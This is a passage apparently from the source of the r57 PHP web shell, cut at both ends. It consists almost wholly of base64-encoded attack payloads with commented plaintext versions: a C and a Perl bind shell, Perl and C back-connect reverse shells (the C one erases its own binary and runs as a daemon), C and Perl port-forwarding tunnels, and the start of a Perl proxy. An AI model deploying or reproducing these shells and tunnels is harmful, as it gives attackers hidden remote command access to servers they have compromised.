1518 bind(sockfd, (struct sockaddr *)&remote, 0x10);
1519 listen(sockfd, 5);
1520 while(1)
1521 {
1522 newfd=accept(sockfd,0,0);
1523 dup2(newfd,0);
1524 dup2(newfd,1);
1525 dup2(newfd,2);
1526 write(newfd,"Password:",10);
1527 read(newfd,buf,sizeof(buf));
1528 if (!chpass(argv[2],buf))
1529 system("echo welcome to r57 shell && /bin/bash -i");
1530 else
1531 fprintf(stderr,"Sorry");
1532 close(newfd);
1533 }
1534 }
1535}
1536int chpass(char *base, char *entered) {
1537int i;
1538for(i=0;i<strlen(entered);i++)
1539{
1540if(entered[i] == '\n')
1541entered[i] = '\0';
1542if(entered[i] == '\r')
1543entered[i] = '\0';
1544}
1545if (!strcmp(base,entered))
1546return 0;
1547}
1548
1549*/
1550
1551$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
1552VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
1553JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
1554TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
1555lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
1556Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
1557Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
1558lIENPTk47DQpleGl0IDA7DQp9DQp9";
1559
1560/* ?ST SATIRIN KIRILMI? HAL? */
1561/*
1562
1563#!/usr/bin/perl
1564$SHELL="/bin/bash -i";
1565if (@ARGV < 1) { exit(1); }
1566$LISTEN_PORT=$ARGV[0];
1567use Socket;
1568$protocol=getprotobyname('tcp');
1569socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
1570setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
1571bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
1572listen(S,3) || die "Cant listen port\n";
1573while(1)
1574{
1575accept(CONN,S);
1576if(!($pid=fork))
1577{
1578die "Cannot fork" if (!defined $pid);
1579open STDIN,"<&CONN";
1580open STDOUT,">&CONN";
1581open STDERR,">&CONN";
1582exec $SHELL || die print CONN "Cant execute $SHELL\n";
1583close CONN;
1584exit 0;
1585}
1586}
1587
1588*/
1589
1590$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
1591aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
1592hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
1593sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
1594kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
1595KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
1596OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1597
1598/* ?ST SATIRIN KIRILMI? HAL? */
1599/*
1600
1601#!/usr/bin/perl
1602use Socket;
1603$cmd= "lynx";
1604$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
1605$0=$cmd;
1606$target=$ARGV[0];
1607$port=$ARGV[1];
1608$iaddr=inet_aton($target) || die("Error: $!\n");
1609$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
1610$proto=getprotobyname('tcp');
1611socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
1612connect(SOCKET, $paddr) || die("Error: $!\n");
1613open(STDIN, ">&SOCKET");
1614open(STDOUT, ">&SOCKET");
1615open(STDERR, ">&SOCKET");
1616system($system);
1617close(STDIN);
1618close(STDOUT);
1619close(STDERR);
1620
1621*/
1622
1623$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
1624BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
1625SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
1626KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
1627sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
1628Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
1629QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
1630Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1631
1632
1633/* ?ST SATIRIN KIRILMI? HAL? */
1634/*
1635
1636#include <stdio.h>
1637#include <sys/socket.h>
1638#include <netinet/in.h>
1639int main(int argc, char *argv[])
1640{
1641 int fd;
1642 struct sockaddr_in sin;
1643 char rms[21]="rm -f ";
1644 daemon(1,0);
1645 sin.sin_family = AF_INET;
1646 sin.sin_port = htons(atoi(argv[2]));
1647 sin.sin_addr.s_addr = inet_addr(argv[1]);
1648 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
1649 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
1650 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
1651 perror("[-] connect()");
1652 exit(0);
1653 }
1654 strcat(rms, argv[0]);
1655 system(rms);
1656 dup2(fd, 0);
1657 dup2(fd, 1);
1658 dup2(fd, 2);
1659 execl("/bin/sh","sh -i", NULL);
1660 close(fd);
1661}
1662
1663*/
1664
1665
1666$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
1667x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
1668HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
1669aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
1670lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
1671xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
1672W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
1673LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
1674udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
16750KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
1676iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
1677KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
1678gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
1679hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
1680iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
1681ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
1682vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
1683AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
1684QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
1685ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
1686gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
1687wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
168829jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
1689MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
1690gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
16915zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
1692HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
1693dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
1694KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
1695ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
1696E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
1697Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
1698NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
1699J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
1700CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
1701dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
1702gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
1703lsZSk7DQogIHJldHVybiAwOw0KfQ==";
1704
1705/* ?ST SATIRIN KIRILMI? HAL? */
1706/*
1707
1708#include <sys/types.h>
1709#include <sys/socket.h>
1710#include <sys/wait.h>
1711#include <netinet/in.h>
1712#include <stdio.h>
1713#include <stdlib.h>
1714#include <errno.h>
1715#include <unistd.h>
1716#include <netdb.h>
1717#include <linux/time.h>
1718#ifdef STRERROR
1719extern char *sys_errlist[];
1720extern int sys_nerr;
1721char *undef = "Undefined error";
1722char *strerror(error)
1723int error;
1724{
1725if (error > sys_nerr)
1726return undef;
1727return sys_errlist[error];
1728}
1729#endif
1730
1731main(argc, argv)
1732 int argc;
1733 char **argv;
1734{
1735 int lsock, csock, osock;
1736 FILE *cfile;
1737 char buf[4096];
1738 struct sockaddr_in laddr, caddr, oaddr;
1739 int caddrlen = sizeof(caddr);
1740 fd_set fdsr, fdse;
1741 struct hostent *h;
1742 struct servent *s;
1743 int nbyt;
1744 unsigned long a;
1745 unsigned short oport;
1746
1747 if (argc != 4) {
1748 fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
1749 return 30;
1750 }
1751 a = inet_addr(argv[3]);
1752 if (!(h = gethostbyname(argv[3])) &&
1753 !(h = gethostbyaddr(&a, 4, AF_INET))) {
1754 perror(argv[3]);
1755 return 25;
1756 }
1757 oport = atol(argv[2]);
1758 laddr.sin_port = htons((unsigned short)(atol(argv[1])));
1759 if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
1760 perror("socket");
1761 return 20;
1762 }
1763 laddr.sin_family = htons(AF_INET);
1764 laddr.sin_addr.s_addr = htonl(0);
1765 if (bind(lsock, &laddr, sizeof(laddr))) {
1766 perror("bind");
1767 return 20;
1768 }
1769 if (listen(lsock, 1)) {
1770 perror("listen");
1771 return 20;
1772 }
1773 if ((nbyt = fork()) == -1) {
1774 perror("fork");
1775 return 20;
1776 }
1777 if (nbyt > 0)
1778 return 0;
1779 setsid();
1780 while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
1781 cfile = fdopen(csock,"r+");
1782 if ((nbyt = fork()) == -1) {
1783 fprintf(cfile, "500 fork: %s\n", strerror(errno));
1784 shutdown(csock,2);
1785 fclose(cfile);
1786 continue;
1787 }
1788 if (nbyt == 0)
1789 goto gotsock;
1790 fclose(cfile);
1791 while (waitpid(-1, NULL, WNOHANG) > 0);
1792 }
1793 return 20;
1794
1795 gotsock:
1796 if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
1797 fprintf(cfile, "500 socket: %s\n", strerror(errno));
1798 goto quit1;
1799 }
1800 oaddr.sin_family = h->h_addrtype;
1801 oaddr.sin_port = htons(oport);
1802 memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
1803 if (connect(osock, &oaddr, sizeof(oaddr))) {
1804 fprintf(cfile, "500 connect: %s\n", strerror(errno));
1805 goto quit1;
1806 }
1807 while (1) {
1808 FD_ZERO(&fdsr);
1809 FD_ZERO(&fdse);
1810 FD_SET(csock,&fdsr);
1811 FD_SET(csock,&fdse);
1812 FD_SET(osock,&fdsr);
1813 FD_SET(osock,&fdse);
1814 if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
1815 fprintf(cfile, "500 select: %s\n", strerror(errno));
1816 goto quit2;
1817 }
1818 if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
1819 if ((nbyt = read(csock,buf,4096)) <= 0)
1820 goto quit2;
1821 if ((write(osock,buf,nbyt)) <= 0)
1822 goto quit2;
1823 } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
1824 if ((nbyt = read(osock,buf,4096)) <= 0)
1825 goto quit2;
1826 if ((write(csock,buf,nbyt)) <= 0)
1827 goto quit2;
1828 }
1829 }
1830
1831 quit2:
1832 shutdown(osock,2);
1833 close(osock);
1834 quit1:
1835 fflush(cfile);
1836 shutdown(csock,2);
1837 quit0:
1838 fclose(cfile);
1839 return 0;
1840}
1841
1842*/
1843
1844$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
1845CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
1846bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
1847gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
1848NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
1849iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
1850aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
1851SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
1852xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
1853WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
1854CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
1855yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
1856I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
1857m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
1858IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
1859lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
1860QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
1861CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
1862c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
1863NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
1864UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
1865DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
1866ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
18671ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
1868
1869/* ?ST SATIRIN KIRILMI? HAL? */
1870/*
1871
1872#!/usr/bin/perl
1873use IO::Socket;
1874use POSIX;
1875$localport = $ARGV[0];
1876$host = $ARGV[1];
1877$port = $ARGV[2];
1878$daemon=1;
1879$DIR = undef;
1880$| = 1;
1881if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
1882%o = ('port' => $localport,'toport' => $port,'tohost' => $host);
1883$ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!";
1884$SIG{'CHLD'} = 'IGNORE';
1885$num = 0;
1886while (1) {
1887$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
1888++$num;
1889$pid = fork();
1890if (!defined($pid)) { print STDERR "$!\n"; }
1891elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); }
1892else { $ch->close(); }
1893}
1894sub Run {
1895my($o, $ch, $num) = @_;
1896my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'});
1897if (!$th) { exit 0; }
1898my $fh;
1899if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; }
1900$ch->autoflush();
1901$th->autoflush();
1902while ($ch || $th) {
1903my $rin = "";
1904vec($rin, fileno($ch), 1) = 1 if $ch;
1905vec($rin, fileno($th), 1) = 1 if $th;
1906my($rout, $eout);
1907select($rout = $rin, undef, $eout = $rin, 120);
1908if (!$rout && !$eout) {}
1909my $cbuffer = "";
1910my $tbuffer = "";
1911if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
1912my $result = sysread($ch, $tbuffer, 1024);
1913if (!defined($result)) {
1914print STDERR "$!\n";
1915exit 0;
1916}
1917if ($result == 0) { exit 0; }
1918}
1919if ($th && (vec($eout, fileno($th), 1) || vec($rout, fileno($th), 1))) {
1920my $result = sysread($th, $cbuffer, 1024);
1921if (!defined($result)) { print STDERR "$!\n"; exit 0; }
1922if ($result == 0) {exit 0;}
1923}
1924if ($fh && $tbuffer) {(print $fh $tbuffer);}
1925while (my $len = length($tbuffer)) {
1926my $res = syswrite($th, $tbuffer, $len);
1927if ($res > 0) {$tbuffer = substr($tbuffer, $res);}
1928else {print STDERR "$!\n";}
1929}
1930while (my $len = length($cbuffer)) {
1931my $res = syswrite($ch, $cbuffer, $len);
1932if ($res > 0) {$cbuffer = substr($cbuffer, $res);}
1933else {print STDERR "$!\n";}
1934}}}
1935
1936
1937*/
1938
1939$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
1940luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
19410NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
1942UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
1943DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
1944AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
